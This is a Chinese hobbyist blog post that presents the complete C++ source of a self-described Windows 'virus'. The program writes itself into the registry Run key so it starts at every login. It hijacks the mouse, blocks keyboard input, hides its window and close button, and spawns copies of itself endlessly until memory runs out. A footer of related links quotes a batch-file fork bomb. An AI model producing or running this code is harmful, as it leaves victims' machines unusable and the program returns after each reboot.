C++小病毒(通用加强版)
目录
闲扯一会儿
进入正题
宏、头文件、命名空间
隐藏任务栏图标、禁用关闭键
检查是否第一次打开
提示语、开机启动、保存
提示语
开机启动
保存
开线程
隐藏控制台
抢内存
代码封装
再扯一会儿
闲扯一会儿
嘿嘿嘿!我又来了!
我们班计算机课在周五,由于节假日我们学校放得早,所以上周清明节放假就没上计算机课。计算机老师为了“弥补”这个“遗憾”,有一个特殊机制:
一道编程题,班上只要有一个同学做出来,全班就可以“解放”。老师刚说完,一个同学(他是男的)就抱起了我(我也是男的)(因为我很轻),全班都把希望的“矛头”指向我。
于是我就开干了。题很简单,用什么语言都行,我当然用C++(不过我还是会一点点Python的)。
不到十分钟,我就做出来了。全班欢呼着,那个男同学又把我抱起来。
老师还给了我10积分,真好!接下来就可以自由活动了。
我上周不是写了一篇文章吗?
C++小病毒(VS版)
我想着那病毒,于是向老师申请开网,老师同意了。
于是我把病毒代码复制过来,由于我在学校用的是Dev-C++,在稍作修改(不影响整体效果)后,开始运行。
可出现了以下问题:
1、任务栏图标并没有隐藏(在C++小病毒(VS版)中已经改了小标题)。
2、提示栏每次都要弹出,如果忽略你在鼠标乱移时刚好点到“确定”的情况,就会导致复制的程序无法再次复制自己。
所以就有了这篇文章。
进入正题
在这里,提一嘴,如果你用的Dev-C++,请参见如何更改C语言标准并更改至C++11。
宏、头文件、命名空间
#define _CRT_SECURE_NO_WARNINGS //strcat()所需
#include<iostream> //输入输出
#include<string> //字符串处理
#include<Windows.h> //Windows系统
#include<conio.h> //按键信息
#include<thread> //线程
#include<tchar.h> //_T()等
#include<fstream> //读取与保存
using namespace std; //为了方便
检查是否第一次打开
其实就是打开一个文档,读取内容,再进行一个判断。
int check = 0;
ifstream in("save.txt");
in >> check;
in.close();
if (check != 1)
{//是第一次打开
}
//不是第一次打开
提示语、开机启动、保存
这部分在判断语句中写。
提示语
cout << "该程序是病毒!后果自负!" << endl;
cout << "按任意键以代表您已知晓并启动病毒……" << endl;
_getch();
开机启动
见C++小病毒(VS版)
保存
为了让复制的程序知道它不是第一次被打开。
ofstream out("save.txt");
out << 1;
out.close();
开线程
写两个线程函数。
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{srand(time(0));while (1){SetCursorPos(rand() % x, rand() % y);}return 0L;
}
DWORD WINAPI key(LPVOID lpParameter)
{while (1){FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));}return 0L;
}
在判断外写上两句。
HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
CloseHandle(hThread);
hThread = CreateThread(NULL, 0, key, NULL, 0, NULL);
CloseHandle(hThread);
隐藏任务栏图标、禁用关闭键
这个还算简单。
//隐藏任务栏图标
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
//禁用关闭键
HMENU hmenu = GetSystemMenu(hWnd, false);
RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
LONG style = GetWindowLong(hWnd, GWL_STYLE);
style &= ~(WS_MINIMIZEBOX);
SetWindowLong(hWnd, GWL_STYLE, style);
SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
ShowWindow(hWnd, SW_SHOWNORMAL);
DestroyMenu(hmenu);
ReleaseDC(hWnd, NULL);
隐藏控制台
在主函数中写。
hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);
if (hWnd)
{ShowWindow(hWnd, SW_HIDE);
}
抢内存
在主函数中写。
while (1)
{char s[100] = "start ";system(strcat(s, argv[0]));
}
代码封装
完整代码见下。
#define _CRT_SECURE_NO_WARNINGS
#include<iostream>
#include<string>
#include<Windows.h>
#include<conio.h>
#include<thread>
#include<tchar.h>
#include<fstream>
using namespace std;
int check = 0;
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{srand(time(0));while (1){SetCursorPos(rand() % x, rand() % y);}return 0L;
}
DWORD WINAPI key(LPVOID lpParameter)
{while (1){FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));}return 0L;
}
int main(int argc, char** argv)
{ifstream in("save.txt");in >> check;in.close();if (check != 1){cout << "该程序是病毒!后果自负!" << endl;cout << "按任意键以代表您已知晓并启动病毒……" << endl;_getch();HKEY hKey;if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS){TCHAR strExeFullDir[MAX_PATH];GetModuleFileName(NULL, strExeFullDir, MAX_PATH);TCHAR strDir[MAX_PATH] = {};DWORD nLength = MAX_PATH;long result = RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0){RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1) * sizeof(TCHAR));RegCloseKey(hKey);}}ofstream out("save.txt");out << 1;out.close();}HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);CloseHandle(hThread);hThread = CreateThread(NULL, 0, key, NULL, 0, NULL);CloseHandle(hThread);HWND hWnd = GetConsoleWindow();SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);HMENU hmenu = GetSystemMenu(hWnd, false);RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);LONG style = GetWindowLong(hWnd, GWL_STYLE);style &= ~(WS_MINIMIZEBOX);SetWindowLong(hWnd, GWL_STYLE, style);SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);ShowWindow(hWnd, SW_SHOWNORMAL);DestroyMenu(hmenu);ReleaseDC(hWnd, NULL);hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);if (hWnd){ShowWindow(hWnd, SW_HIDE);}while (1){char s[100] = "start ";system(strcat(s, argv[0]));}return 0;
}
再扯一会儿
这次其实就把提示框改成了一句话,加了个check变量,加了几句隐藏任务栏图标的代码,加了个线程,代码也不算长。
哦,对了,再提一嘴,有虚拟机的帮忙看看。
好像该扯的都扯完了。
算了,早点睡了,拜拜!
C++小病毒(通用加强版)相关推荐
- 微擎小程序怎么配置服务器域名,随便撸源码源码微擎小程序通用配置图文教程,教会你怎么配置微擎小程序!...
最近很多网友都在问站长微擎小程序如何配置使用,微擎小程序配置 查看更多关于 微擎小程序配置 的文章 主要分几类,之前已经写过人人商城小程序的配置教程了,大家反响非常好,简单就学会了配置人人商城小程序. ...
- 用C++写一个简单小病毒(零基础奶妈级教学,不可能学完还不懂)
相信大家都玩过这样的一个批处理代码吧 :1 start cmd goto 1 把这些代码复制去一个txt文件,然后更改后缀为.bat 或.cmd,就可以实现弹窗炸弹 但是,作为一个病毒,这个简单恶搞代 ...
- C++小病毒(VS版)
目录 1.前言 2.教程 2.1.宏.头文件与命名空间 2.2.隐藏控制台 2.3.推卸责任 2.4.开机启动 2.5.开线程 2.6.抢内存 2.7.完整代码 3.总结 1.前言 Hello!我来了 ...
- 一个半成品小病毒专杀
一个半成品小病毒专杀 最近一个文件夹伪装病毒在同学的电脑内肆虐啊,动手写了一个小时就写不下去了.不想写清除部分,只有检测部分的代码,其实检测出来的时候,顺手就可以杀掉了.最近考试耗费的时间多,懒得写了 ...
- html病毒编写,用bat写的一个小病毒
用了三天才看完=.=,感觉作者整理整理可以把博客当书买了... 然后自己突发其想,想到了一个小病毒程序,其实也算不上病毒,只能算是个恶作剧程序吧,其原理就是不断打开cmd程序,占用系统资源...呵呵. ...
- 整蛊小病毒,自己拿来快乐
今天刚学了关于网络安全的东西,稍微学了点小的东西,来做个笔记. 自己玩的话,最后在虚拟机上玩!! 现在我来列举一下一些整蛊的小病毒(直接把代码丢在记事本内,把后缀改为.bat): 让桌面消失的病毒 @ ...
- 分享一些无害可以装13的小病毒
我在电脑找到自己搞得小病毒,我写的是一些无害的小病毒,那么就来给大家们来分享一下一些病毒代码,而且解除也非常简单!不过你需要在你的杀毒软件中信任它才行哦,不然你还没开始运行就被自动删除了,搞得我的代码 ...
- 一个简单的U盘小病毒
/// //一个简单的U盘小病毒,用C语言实现,没有破坏模块,很安全的. //这是一个强化版本,可以突破autorun.inf文件夹防御策略. //作者:冷却 //注意:此程序在用VC连接的时候要设置 ...
- Python实现小病毒
Python实现的小病毒 代码如下 import tkinter.messagebox import os while True:tkinter.messagebox.showerror(" ...
最新文章
- 2017可信区块链峰会在京举办 可信区块链标准和测评结果公布
- Linux(CentOS 5)下安装Oracle10 客户端(转)
- 个人脚本收藏[不断更新 last update 2005-12-10]
- 【转】全排列算法非递归实现和递归实现
- 服务器所有文件,检索服务器端文件夹中的所有文件
- RS485 RS232
- 掌业宝服务器维护升级,奇游联机宝APP焕新升级 主机加速多设备各享最优区服...
- linux终端命令行用户名和密码,Linux入门篇 —— Linux 用户与组管理详解(system-config-users 命令行)| 七日打卡...
- Java 11 的新特性(上)
- Django:查询结果新增一列、查询结果字段名称更改、多个字段模糊查询
- Atitit 网络爬虫与数据采集器的原理与实践attilax著 v2
- 微型计算机硬盘接口种类,硬盘接口类型
- SCSI代码分析(0)SCSI层框架
- 华为IPD 研发模式
- JAVA编程语言基础第六章
- cad坐标归零lisp_CAD坐标Z归0问题
- 测试软件要求规范 (SRS)
- Python错误日志
- 基于python的批量网页爬虫
- 2023年国内所有期刊复合、综合影响因子等35指标数据库